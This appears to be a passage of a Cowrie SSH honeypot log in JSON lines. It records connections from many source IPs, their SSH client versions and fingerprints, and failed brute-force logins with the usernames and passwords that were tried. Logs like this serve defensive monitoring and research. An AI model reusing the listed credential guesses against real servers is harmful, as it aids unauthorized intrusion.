{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:16.830096Z","src_ip":"103.149.28.157","session":"8c9d282f23d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deanna","message":"login attempt [root/deanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:17.568995Z","src_ip":"103.149.28.157","session":"8c9d282f23d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:18.816787Z","src_ip":"103.149.28.157","session":"8c9d282f23d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":29010,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd63e552ee6","protocol":"ssh","message":"New connection: 178.20.210.208:29010 (159.203.135.109:22) [session: 6cd63e552ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:50.635329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:51.601880Z","src_ip":"178.20.210.208","session":"6cd63e552ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:51.605250Z","src_ip":"178.20.210.208","session":"6cd63e552ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX123","message":"login attempt [root/1qaz2WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:52.281485Z","src_ip":"178.20.210.208","session":"6cd63e552ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:53.388003Z","src_ip":"178.20.210.208","session":"6cd63e552ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":46658,"dst_ip":"10.17.0.5","dst_port":22,"session":"62710e54dbf9","protocol":"ssh","message":"New connection: 162.144.58.21:46658 (10.17.0.5:22) [session: 62710e54dbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:09:19.756449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:09:19.760513Z","src_ip":"162.144.58.21","session":"62710e54dbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:09:19.842559Z","src_ip":"162.144.58.21","session":"62710e54dbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0w#Tr0ng!P@ss","message":"login attempt [root/C0w#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:09:20.176355Z","src_ip":"162.144.58.21","session":"62710e54dbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:09:21.583391Z","src_ip":"162.144.58.21","session":"62710e54dbf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":34126,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c2a97aa267","protocol":"ssh","message":"New connection: 162.144.58.21:34126 (159.203.135.109:22) [session: 59c2a97aa267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:07.290984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:07.299285Z","src_ip":"162.144.58.21","session":"59c2a97aa267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:07.384421Z","src_ip":"162.144.58.21","session":"59c2a97aa267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0w#Tr0ng!P@ss","message":"login attempt [root/C0w#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:07.715428Z","src_ip":"162.144.58.21","session":"59c2a97aa267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:09.674016Z","src_ip":"162.144.58.21","session":"59c2a97aa267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.242.115","src_port":33084,"dst_ip":"10.17.0.5","dst_port":22,"session":"34dae4025072","protocol":"ssh","message":"New connection: 202.29.242.115:33084 (10.17.0.5:22) [session: 34dae4025072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:17.779646Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:18.043783Z","src_ip":"202.29.242.115","session":"34dae4025072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.77.131.229","src_port":56786,"dst_ip":"10.17.0.5","dst_port":22,"session":"79236fdc0ab5","protocol":"ssh","message":"New connection: 110.77.131.229:56786 (10.17.0.5:22) [session: 79236fdc0ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:20.238184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:20.242965Z","src_ip":"110.77.131.229","session":"79236fdc0ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:20.505031Z","src_ip":"110.77.131.229","session":"79236fdc0ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akiraagent","message":"login attempt [root/akiraagent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:21.291589Z","src_ip":"110.77.131.229","session":"79236fdc0ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:22.554933Z","src_ip":"110.77.131.229","session":"79236fdc0ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58922,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87191e15efe","protocol":"ssh","message":"New connection: 91.92.40.176:58922 (10.17.0.5:22) [session: d87191e15efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:25.317228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:25.321841Z","src_ip":"91.92.40.176","session":"d87191e15efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:25.402875Z","src_ip":"91.92.40.176","session":"d87191e15efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:25.647448Z","src_ip":"91.92.40.176","session":"d87191e15efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:26.751653Z","src_ip":"91.92.40.176","session":"d87191e15efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.0.84.125","src_port":56396,"dst_ip":"10.17.0.5","dst_port":22,"session":"14829b4cd264","protocol":"ssh","message":"New connection: 49.0.84.125:56396 (10.17.0.5:22) [session: 14829b4cd264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.171520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.175423Z","src_ip":"49.0.84.125","session":"14829b4cd264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.449398Z","src_ip":"49.0.84.125","session":"14829b4cd264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":39258,"dst_ip":"159.203.135.109","dst_port":22,"session":"40673a7bc826","protocol":"ssh","message":"New connection: 192.169.197.250:39258 (159.203.135.109:22) [session: 40673a7bc826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.474399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.478043Z","src_ip":"192.169.197.250","session":"40673a7bc826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.558441Z","src_ip":"192.169.197.250","session":"40673a7bc826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kas","password":"kas123","message":"login attempt [kas/kas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.753363Z","src_ip":"192.169.197.250","session":"40673a7bc826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":55078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a2673a0ef0c","protocol":"ssh","message":"New connection: 113.125.165.132:55078 (10.17.0.5:22) [session: 7a2673a0ef0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.930046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:53.933949Z","src_ip":"113.125.165.132","session":"7a2673a0ef0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh